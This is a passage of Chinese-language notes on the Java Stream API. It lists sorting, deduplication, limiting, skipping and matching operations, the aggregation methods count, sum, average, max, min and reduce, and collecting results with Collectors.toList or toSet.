- 排序：`sorted()`，对集合中的元素进行排序。
- 去重：`distinct()`，去除集合中的重复元素。
- 截取：`limit(n)`，返回前n个元素。
- 跳过：`skip(n)`，跳过前n个元素。
- 匹配：`anyMatch(predicate)`、`allMatch(predicate)`、`noneMatch(predicate)`，判断集合中的元素是否满足指定条件。
3. 聚合操作：- 统计个数：`count()`，返回集合中的元素个数。
- 求和、求平均、求最大值、求最小值：`sum()`、`average()`、`max()`、`min()`。
- 归约：`reduce(identity, accumulator)`，根据指定的累加器对集合中的元素进行归约操作。
4. 收集结果：- 转换为集合：`collect(Collectors.toList())`、`collect(Collectors.toSet())`等。